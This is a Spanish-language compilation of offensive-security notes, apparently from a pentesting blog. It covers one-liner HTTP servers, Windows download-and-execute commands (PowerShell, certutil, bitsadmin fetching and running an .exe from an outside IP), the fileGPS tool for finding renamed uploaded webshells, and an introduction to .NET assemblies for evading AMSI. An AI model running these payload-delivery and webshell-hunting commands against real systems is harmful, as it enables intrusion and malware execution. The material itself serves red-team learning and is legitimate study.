Los siguientes comandos iniciarán el servicio HTTP en el directorio actual, en el puerto 1337.

python2:
python -m SimpleHTTPServer 1337

python3:
python -m http.server 1337

Ruby:
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+:
ruby -run -e httpd . -p 1337

Perl:
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

PHP 5.4+:
php -S 0.0.0.0:1337

busybox httpd:
busybox httpd -f -p 8000

Descargar y ejecutar archivos desde el servidor HTTP

A continuación se muestran algunas maneras de descargar y ejecutar archivos desde un servidor HTTP utilizando las propias herramientas del sistema en sistemas Windows y Linux.

WINDOWS

powershell:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

FileGPS: herramienta para encontrar un archivo renombrado a través de un formulario de upload

Cuando estamos auditando un sitio web y logramos subir una webshell o simplemente un archivo de prueba a través de un formulario de upload, generalmente se renombra de varias maneras para evitar el acceso directo, RCE o su sobrescritura.

fileGPS es una herramienta que utiliza varias técnicas para encontrar el nuevo nombre de archivo, después de que el script correspondiente del lado del servidor cambie el nombre y lo guarde.

Algunas de las técnicas que fileGPS prueba son:

- Varios hashes del nombre del archivo
- Varias combinaciones de timestamps
- Nombre de archivo + tiempo de PHP() hasta 5 minutos antes del inicio del script
-  Muchos mas

Características

- Fácil de usar
- multihilo
- soporte proxy HTTP(s)
- agente de usuario aleatorio
- cerca de 100.000 nombres de archivo

Instalación

En ParrotOS:

sudo apt install filegps

En BlackArch Linux:

pacman -S filegps

En otras distros:

git clone https://github.com/0blio/filegp

Ejemplos de uso


fileGPS -u http://target.com/upload/images --file shell.php

fileGPS -u http://target.com/upload/images --file shell.php --modules shame,mytestmodule

fileGPS -u http://target.com/upload/images --file shell.php --proxy 127.0.0.1:9050 --cookie mycookies

Cómo escribir un módulo

Escribir un módulo es bastante simple y permite implementar formas personalizadas de generar combinaciones de nombres de archivo.

A continuación se muestra una plantilla para los módulos:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
  Module name: test
  Coded by: Your name / nickname
  Version: X.X
  
  Description:
    This module destroy the world.
"""
output = []

# Do some computations here

output = ["filename1.php", "filename2.asp", "filename3.jar"]

Las variables url y filename se importan automáticamente del script core, por lo que se pueden llamar en su módulo.

Una vez que escribamos nuestro módulo simplemente tendremos que guardarlo en Modules/ y se importará automáticamente una vez que se inicie el script principal.

Repo: https://github.com/0blio/filegps

Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (1 de 2)

En 2015, el AMSI (Antimalware Scan Interface) fue integrado en varios componentes de Windows usados para ejecutar scripts (VBScript, JScript, PowerShell). Casi al mismo tiempo, se agregó a PowerShell Script Block Logging permitiendo capturar el contenido completo de los scripts que se ejecutan, eliminando así cualquier ofuscación utilizada. De esta manera los Red Teams tuvieron que dar otro pasito y empezaron a usar ensamblados o assemblies (suena mejor en inglés) generalmente escritos en C#. Ahora lo veremos en más detalle que son, pero adelantaros que los assemblies brindan toda la funcionalidad de PowerShell pero con la clara ventaja de cargar y ejecutar completamente desde la memoria y además hoy en día casi todas las máquinas con microsoft Windows tienen el framework .NET instalado que pueden usarlo así que ¡buena combinación!

Ya sabéis que .NET fue creado para rivalizar y reemplazar a Java por lo que tiene ciertas similitudes. Es "compilado" a CIL, un lenguaje intermedio y usa código managed compilado just-in-time por el CLR (además de poder operar con código unmanaged o nativo). Soporta C#, F#, C++/CLI, PowerShell, JScript, VBScript, IronPython, IronRuby y permite operar entre ellos. Antes de comenzar, debemos comprender algunos componentes importantes de .NET.

- CLR o Common Language Runtime: al igual que Java, .NET utiliza un entorno (o "máquina virtual") para interpretar el código en tiempo de ejecución. Todo el código .NET se compila en un lenguaje intermedio al código nativo "Just-In-Time" antes de la ejecución.

- CIL o Common Intermediate Language: hablando de un lenguaje intermedio, .NET usa CIL (también conocido como MSIL). Todos los lenguajes .NET (de los cuales hay muchos) están en "assemblies" en este lenguaje intermedio. CIL es un lenguaje assembly genérico orientado a objetos que se puede interpretar en código máquina para cualquier arquitectura de hardware. Como tal, los diseñadores de lenguajes .NET no necesitan diseñar sus compiladores en torno a las arquitecturas en las que se ejecutarán. En cambio, simplemente necesitan diseñarlo para compilarlo en un idioma: CIL.

- Assemblies .NET: las aplicaciones .NET se empaquetan en .NET Assemblies. Se llaman así porque el código de su lenguaje elegido se ha "ensamblado" en CIL pero no se ha compilado realmente. Los assemblies usan una extensión del formato PE y se representan como un EXE o una DLL que contiene CIL en lugar de código de máquina nativo.

- Dominios de aplicación: los assemblies se ejecutan dentro de una "caja" segura conocida como dominio de aplicación. Pueden existir varios assemblies dentro de un dominio de aplicación, y pueden existir múltiples dominios de aplicación dentro de un proceso. Los AppDomains están destinados a proporcionar el mismo nivel de aislamiento entre los ensamblajes en ejecución que normalmente se proporciona para los procesos. Los subprocesos pueden moverse entre AppDomains y pueden compartir objetos a través de la organización y los delegados.